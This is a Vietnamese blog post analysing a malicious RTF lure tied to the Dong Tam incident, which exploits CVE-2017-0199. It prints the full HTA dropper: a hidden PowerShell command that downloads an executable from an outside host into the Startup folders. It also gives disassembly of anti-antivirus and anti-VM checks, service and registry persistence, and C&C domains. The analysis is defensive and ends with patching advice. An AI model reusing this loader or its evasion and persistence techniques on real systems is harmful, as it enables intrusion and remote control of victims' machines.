Phân tích sơ bộ mã độc #dongtam_myduc

Giới thiệu

Ngay khi vụ Đồng tâm — Mỹ đức đang cao trào, trên mạng xuất hiện một đoạn văn bản thông tin về sự việc, điều đáng nói ở đây là văn bản này không hẳn là văn bản bình thường, nội dung mỹ miều nhưng bên trong lại chứa mã độc. Mã độc này tận dụng một lỗ hổng bảo mật cuả Microsoft Office và WordPad có mã CVE 2017–0199, thông tin chi tiết về lỗ hỗng này để mọi người tìm hiểu thêm:

Mình nhận được mẫu này và phân tích cũng lâu rồi, từ thời điểm mà vụ #dongtammyduc đang nóng. Hôm nay nhân tiện việc FireEye công bố về APT32, mình tiện tay viết lại bài này, có thể sẽ không liên quan gì đến nhau, nhưng hi vọng cung cấp cho những người quan tâm những thông tin kỹ thuật cần thiết. Đây chỉ là một bài phân tích cơ bản mang tính nhập môn [amateur]. Enjoy!

Tiến hành phân tích

Mình không biết rõ và không nắm được mã độc này vận hành bởi ai, nhưng nhìn vào nội dung được đầu tư thì có vẻ như mục tiêu mà nó nhắm đến là một nhóm người cụ thể chứ không phải cho mục đích phát tán diện rộng.

Khi mở file rft độc hại, winword sẽ tải về một file hta có nội dung như sau và thực thi bằng mshta.exe

<script language="VBScript">
Set owFrClN0giJ = CreateObject("Wscript.Shell")
Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject")
owFrClN0giJ.Run "powershell.exe -nop -w hidden -ep bypass (New-Object System.Net.WebClient).DownloadFile('https://g-mirror.appspot.com/favicon.ico','%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\unikeyrc4.exe');(New-Object System.Net.WebClient).DownloadFile('https://g-mirror.appspot.com/favicon.ico','C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\unikeyrc4.exe')"
</script>
<script language="javascript">
window.close();
</script>

Đoạn mã trên thực hiện tải một file thực thi khác vào thư mục khởi động của máy tính và đặt tên là `unikeyrc4.exe`

Stage 1: unikeyrc4.exe

Mã độc sẽ tạo một File Streams rồi sao chép chính bản thân nó, sau đó thực hiện kiểm tra AV trên máy nạn nhân

.text:00408015 push    offset aAvgui_exe ; "avgui.exe"
.text:0040801A call anti_av
.text:0040801F add esp, 4
.text:00408022 test eax, eax
.text:00408024 jnz loc_408
.text:0040802A push offset aAvastsvc_exe ; "AvastSvc.exe"
.text:0040802F call anti_av
.text:00408034 add esp, 4
.text:00408037 test eax, eax
.text:00408039 jnz loc_4

Hàm anti_av khá đơn giản, tạo một snapshot tất cả các processes hiện tại rồi lần lượt xem có tồn tại process của AV hay không. Sau đó thực hiện tạo một process mới với command line:

[tên_file_streams] /help?[tên_process_hiện_tại]

Để tiện cho việc phân tích thì mình sẽ edit lại file name để tiến hành ghi lên file (thay vì file streams)

Stage 2: temporary file streams

File config chứa trong resource:

  • Malware sẽ extract resource {9439101-377F-4487-A66D-E172C05CF386}, decrypt bằng cách reverse (swap) các bytes và ghi lại vào file `unikeyrc4.exe`, đổi tên `unikeyrc4.exe` thành `unikeyrc4.docx` rồi mở file này bằng ShellExecute nhằm đánh lừa người dùng.
  • Anti Virtual-PC
.text:00401400                 push    ebp
.text:00401401 mov ebp, esp
.text:00401403 push 0FFFFFFFEh
.text:00401405 push offset stru_429040
.text:0040140A push offset __except_handler4
.text:0040140F mov eax, large fs:0
...
.text:0040143F mov ebx, 0
.text:00401444 mov eax, 1
.text:00401449 vpcext 7, 0Bh
.text:0040144D test ebx, ebx
  • Anti VMWare
.text:00401390                 push    ebx
.text:00401391 mov eax, 564D5868h
.text:00401396 mov ebx, 0
.text:0040139B mov ecx, 0Ah
.text:004013A0 mov edx, 5658h
.text:004013A5 in eax, dx
.text:004013A6 cmp ebx, 564D5868h ; anti VMW
  • Kiểm tra xem service DpiScaling, nếu tồn tại sẽ start service này (chính là malware service). Nếu chưa, nó sẽ thực hiện decrypt 0x33A00 bytes tại 0x04310B8 (giống với decrypt nội dung docx) và ghi vào file %PROGRAM_FILES%\Microsoft\Display Control Panel\DpiScaling.exe0x3600 bytes tại 0x0464AB8 ghi vào %PROGRAM_FILES%\Microsoft\Dynamic COM+\comuid.dll (đây chính là "main" malware)
  • Registry keys:

HKCU\Software\Microsoft\Windows\CurrentVersion\Display\Settings\Dpi\Device-0\XYperPixel → comuid.dll path

`HKCU\Software\Intel\DPI\HardwareID` → Base64 trong resource

HKCU\Software\Intel HD2000\ROM → Current time

  • Persistences:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run → DpiScaling.exe

  • Tạo service (DpiScaling.exe):
.text:00407BAA lea     eax, [ebp+lpDisplayName]
.text:00407BB0 push offset aGOLJCDIIILCCJI ; "⦫¦¦¦+¦½¦ª¦+¦t¦ä¦¿¦¬¦¦¦¦¦¿¦½¦t¦ù¦ª¦¬¦ó"...
.text:00407BB5 push eax
.text:00407BB6 call decrypt_string ; Display Control Panel
.text:00407BBB add esp, 8
.text:00407BBE lea eax, [ebp+var_448]
.text:00407BC4 push offset aUPVCGCOCFDJLOI ; "ô¦»¦ó¦t¦â¦ù¦Ä¦t¦ö¦ñ¦ª¦½¦«¦¬¦á¦t¦¦¦¿¦¿¦½"...
.text:00407BC9 push eax
.text:00407BCA mov byte ptr [ebp+var_4], 8
.text:00407BCE call decrypt_string ; The DPI Scaling tool will allow you to bump up the size of text and other graphical elements so that they better fit on widescreen monitors
.text:00407BD3 add esp, 8
.text:00407BD6 push [ebp+lpFile] ; lpBinaryPathName
.text:00407BDC mov byte ptr [ebp+var_4], 9
.text:00407BE0 push [ebp+var_448] ; description
.text:00407BE6 push [ebp+lpDisplayName] ; lpDisplayName
.text:00407BEC push [ebp+lpServiceName] ; lpServiceName
.text:00407BF2 call create_service
  • Cuối cùng, thực thi một process mới:
"%PROGRAM_FILES%\Microsoft\Display Control Panel\DpiScaling.exe" /t [current_tmp_file]

Với switcch /t, DpiScaling.exe sẽ thực hiện xóa file được chỉ định (file stream hiện tại) và thoát.

Stage 3: DpiScaling.exe

  • Đọc giá trị từ key HKCU\Software\Microsoft\Windows\CurrentVersion\Display\Settings\Dpi\Device-0\XYperPixel (comuid.dll)
.text:00E3168A                 push    edx             ; lpcbData
.text:00E3168B push offset pszPath ; lpData
.text:00E31690 lea ecx, [ebp+Type]
.text:00E31696 push ecx ; lpType
.text:00E31697 push 0 ; lpReserved
.text:00E31699 push offset ValueName ; "XYperPixel"
.text:00E3169E push eax ; hKey
.text:00E3169F mov [ebp+Type], 0
.text:00E316A9 mov [ebp+cbData], 208h
.text:00E316B3 call ds:RegQueryValueExW
...
.text:00E316F9 push offset pszPath ; pszPath -> comuid.dll path
.text:00E316FE call ds:PathFileExistsW
  • Nếu đã tồn tại comuid.dll, malware sẽ ghi một file mới %TEMP%\Control Panel\desktop.cpl
.text:00E312EE                 call    ds:GetTempPathW
.text:00E312F4 mov esi, ds:PathAppendW
.text:00E312FA push offset pMore ; "Control Panel"
.text:00E312FF lea eax, [ebp+Buffer]
.text:00E31305 push eax ; pszPath
.text:00E31306 call esi ; PathAppendW
.text:00E31308 push 0 ; lpSecurityAttributes
.text:00E3130A lea ecx, [ebp+Buffer]
.text:00E31310 push ecx ; lpPathName
.text:00E31311 call ds:CreateDirectoryW
.text:00E31317 push offset aDesktop_cpl ; "desktop.cpl"
.text:00E3131C lea edx, [ebp+Buffer]
.text:00E31322 push edx ; pszPath
.text:00E31323 call esi ; PathAppendW
.text:00E31325 lea ecx, [ebp+Buffer] ; lpFileName
.text:00E3132B call write_desktop_cpl
.text:00E31330 lea eax, [ebp+Buffer]
.text:00E31336 push eax ; pszPath
.text:00E31337 call ds:PathFileExistsW
  • Set biến môi trường {895E9411-EBC5-4FFA-9217-272D733C9486} thành đường dẫn của comuid.dll
  • Thực thi desktop.cpl bằng control.exe (%SYSTEMROOT%\Syswow64 hoặc %SYSTEMROOT%\System32, tùy vào OS version)
.text:01041534 push    eax                             ; lpProcessInformation
.text:01041535 lea ecx, [ebp+StartupInfo]
.text:0104153B push ecx ; lpStartupInfo
.text:0104153C push 0 ; lpCurrentDirectory
.text:0104153E push 0 ; lpEnvironment
.text:01041540 push 0 ; dwCreationFlags
.text:01041542 push 0 ; bInheritHandles
.text:01041544 push 0 ; lpThreadAttributes
.text:01041546 push 0 ; lpProcessAttributes
.text:01041548 lea edx, [ebp+CommandLine]
.text:0104154E push edx ; lpCommandLine -> control.exe "C:\Users\nightst0rm\Appdata\Local\Temp\Control Panel\desktop.cpl"
.text:0104154F lea eax, [ebp+String1]
.text:01041555 push eax ; lpApplicationName -> C:\Windows\Syswow64\control.exe
.text:01041556 mov [ebp+ProcessInformation.hProcess], 0
.text:01041560 mov [ebp+StartupInfo.cb], 44h
.text:0104156A call ds:CreateProcessW

Stage 4: desktop.cpl

desktop.cpl viết khá đơn giản nên mình sẽ static tại hàm CPIApplet

Chương trình tạo một local mutex `_SHMSFTHISTORY!_` và kill tất cả các thread khác từ process đang chạy, sau đó load `comuid.dll`

.text:1000133E                 lea     edx, [ebp+Buffer]
.text:10001344 push edx ; lpBuffer
.text:10001345 xor ecx, ecx
.text:10001347 push offset Name ; "{895E9411-EBC5-4FFA-9217-272D733C9486}"
.text:1000134C mov [ebp+Buffer], cx
.text:10001353 call ds:GetEnvironmentVariableW
.text:10001359 mov [ebp+pcbBuffer], eax
.text:1000135F call ds:GetLastError
.text:10001365 cmp eax, 0CBh
.text:1000136A jz loc_10001278
.text:10001370 push 0 ; lpValue
.text:10001372 push offset Name ; "{895E9411-EBC5-4FFA-9217-272D733C9486}"
.text:10001377 call ds:SetEnvironmentVariableW
.text:1000137D lea eax, [ebp+Buffer]
.text:10001383 push eax ; lpLibFileName
.text:10001384 call ds:LoadLibraryW

Stage 5: comuid.dll

control.exe (desktop.cpl) thực hiện load comuid.dll bằng LoadLibrary, DllMain tạo ra một thread mới thực thi các chức năng chính của malware, ghi một số khóa registry và giao tiếp với máy chủ CC.

  • C&C:
fillin.michellegipps.com
zebulun.blakemailly.com
gnaeus.shereeeberhardt.com
wandal.mildredecheverri.com
  • Port number: 28395

Scan results

DpiScaling.exe (kết quả ngày public bài viết này)

dpiscaling.exe

Desktop.cpl

desktop.cpl

Comuid.dll

comuid.dll

Kết luận

Bằng việc khai thác CVE 2017–0199, một lỗi thuộc nhóm RCE có mức độ nguy hiểm cao, khả năng tác động nghiêm trọng, sau khi thực thi mã độc thành công sẽ cho phép kẻ tấn công kiểm soát toàn bộ hệ thống máy tính của nạn nhân. Khả năng về sau sẽ có nhiều chiến dịch tấn công tận dụng khai thác lỗi này, nên chúng tôi khuyến cáo người dùng nên cập nhật và thực hiện việc cài đặt bản vá từ nhà cung cấp càng sớm càng tốt.